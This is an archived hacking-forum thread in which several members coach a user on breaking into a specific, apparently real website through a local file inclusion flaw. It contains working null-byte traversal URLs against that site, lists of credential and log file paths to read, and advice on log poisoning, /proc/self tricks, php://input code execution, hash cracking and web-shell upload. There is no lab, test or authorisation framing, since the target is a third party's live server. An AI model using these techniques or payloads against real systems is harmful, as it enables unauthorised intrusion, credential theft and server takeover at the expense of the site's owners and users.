+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Team Digi7al's Help Thread (/showthread.php?tid=2611056)
* - | Solo | - Jun 23, 2012
well the reason you want /proc/self/environ is so we can spawn a cmd shell on the server. Since this isnt available, i really dont see a way of uploading a shell using that method. Perhaps haxor has another way to do it.
* - spectrum10 - Jun 23, 2012
(Jun 23, 2012 05:25 AM)oH4i Hx0r Wrote: Hey there!
Problem: I cant upload a shell through a FI attack (I dunno if its RFI or LFI).
URL:http://www.inforlandia.pt/index.php?m=../../../../etc/passwd%00
Timeframe: 1 Week
Additional Info: This isnt actually very important, but i would like to know how to upload a shell in this website's case.
Thanks a lot!
Logic is right about /proc/self/environ but you could always look at log files for password hashes. The hashes are not present in /etc/passwd :( but here are some other places you can look.
PHP Code
<?php
etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
Also you could try reading source code with php://filters or try exploiting it through burp suite. Hooded Robin has a great tut for this.
[+]https://hackforums.net/showthread.php?tid=1992713
[+]https://hackforums.net/showthread.php?tid=1981091
Also some more interesting places to look:
PHP Code
<?php
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
* - | Solo | - Jun 23, 2012
Thanx sp3c :) I was just going off the whole upload a shell using LFI thing :P
* - spectrum10 - Jun 23, 2012
No problem XD thought i would help him learn a little more with lfi. Maybe he might find some hashes and crack root :} or read config file for the Database & site then find admin hash in the code, crack, login, upload shell.
* - | Solo | - Jun 23, 2012
Well he has full path disclosure. Could possibly exploit in metasploit depending on server version and whatnot.
* - oH4i Hx0r - Jun 23, 2012
Ill try that, Spectrum10!
Thank you all!
* - spectrum10 - Jun 23, 2012
(Jun 23, 2012 10:18 AM)oH4i Hx0r Wrote: Ill try that, Spectrum10!
Thank you all!
No problem, good luck with your search ^^ Good day!
* - Hooded Robin - Jun 23, 2012
@oH4i Hx0r - Also don't forget to try the /proc/self/fd/<#> links which are usually a little easier to find than logs. I usually try this method before going on a wild goose hunt for random log files. If you can read /proc/self/status file you can read the FD_SIZE which will tell you how many possible links are contained under /proc/self/fd/x (can also replace self with the PID number from status page if you like). You will typically find them under 35 (/proc/self/fd/0-35) in my experience but you never know till you look. Also php://input method still works with NULL byte so you might also give that a quick try and see if you have direct RCE without much effort. I have made tuts on all this so just search my threads or check my blog....
PS - Nice thread guys!
* - -DownFall - Jun 23, 2012
(Jun 23, 2012 10:18 AM)oH4i Hx0r Wrote: Ill try that, Spectrum10!
Thank you all!
Maybe you should take a look at this.
Code
http://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00Code
ServerRoot :: /etc/apache2
DocumentRoot :: /var/www
Apache Config Files :: /etc/apache2/apache2.conf
:: /etc/apache2/ports.conf
Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog :: /var/log/apache2/error.log
AccessLog :: /var/log/apache2/access.log
cgi-bin :: /usr/lib/cgi-bin
binaries (apachectl) :: /usr/sbin
start/stop :: /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3
Good luck.
-DownFall
* - oH4i Hx0r - Jun 23, 2012
(Jun 23, 2012 10:42 AM)-DownFall Wrote: Maybe you should take a look at this.
Codehttp://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00
CodeServerRoot :: /etc/apache2
DocumentRoot :: /var/www
Apache Config Files :: /etc/apache2/apache2.conf
:: /etc/apache2/ports.conf
Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog :: /var/log/apache2/error.log
AccessLog :: /var/log/apache2/access.log
cgi-bin :: /usr/lib/cgi-bin
binaries (apachectl) :: /usr/sbin
start/stop :: /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)
They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3
Good luck.
-DownFall
Thanks a lot man, i appreciate your work! :)
* - spectrum10 - Jun 23, 2012
(Jun 23, 2012 10:39 AM)Hooded Robin Wrote: @oH4i Hx0r - Also don't forget to try the /proc/self/fd/<#> links which are usually a little easier to find than logs. I usually try this method before going on a wild goose hunt for random log files. If you can read /proc/self/status file you can read the FD_SIZE which will tell you how many possible links are contained under /proc/self/fd/x (can also replace self with the PID number from status page if you like). You will typically find them under 35 (/proc/self/fd/0-35) in my experience but you never know till you look. Also php://input method still works with NULL byte so you might also give that a quick try and see if you have direct RCE without much effort. I have made tuts on all this so just search my threads or check my blog....
PS - Nice thread guys!
I linked him two of your tuts here, and thanks for the help and liking thread Hooded robin!
* - Hooded Robin - Jun 23, 2012
PS - If you can find the phpinfo file shoot me a PM and I can try some other magic :)
* - | Solo | - Jun 23, 2012
(Jun 23, 2012 10:42 AM)-DownFall Wrote: They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3
Good luck.
-DownFall
Well if he does manage to shell it, he can symlink to root and have a field day.
Other usefull link:
http://www.inforlandia.pt/index.php?m=../../../../../../../../../../../../../../../etc/mysql/my.cnf
* - spectrum10 - Jun 23, 2012
(Jun 23, 2012 10:42 AM)-DownFall Wrote: Maybe you should take a look at this.
Codehttp://www.inforlandia.pt/index.php?m=../../../../etc/apache2/apache2.conf%00
CodeServerRoot :: /etc/apache2
DocumentRoot :: /var/www
Apache Config Files :: /etc/apache2/apache2.conf
:: /etc/apache2/ports.conf
Default VHost Config :: /etc/apache2/sites-available/default, /etc/apache2/sites-enabled/000-default
Module Locations :: /etc/apache2/mods-available, /etc/apache2/mods-enabled
ErrorLog :: /var/log/apache2/error.log
AccessLog :: /var/log/apache2/access.log
cgi-bin :: /usr/lib/cgi-bin
binaries (apachectl) :: /usr/sbin
start/stop :: /etc/init.d/apache2 (start|stop|restart|reload|force-reload|start-htcacheclean|stop-htcacheclean)
They've moved their logs, so log poisoning via access/error logs is going to pretty difficult unless you manage to guess where they've put them. Maybe you can try log poisoning via /proc/self/fd method. If all goes bad, you can always dig around for juicy config files :3
Good luck.
-DownFall
Thanks for your help DownFall! Much appreciated!
* - dawnofwar - Jun 23, 2012
The level of help in this thread disgusts me.
Look at these guys, thinking they own the world, parading around here like they are doing something good.
Dispicable. 😈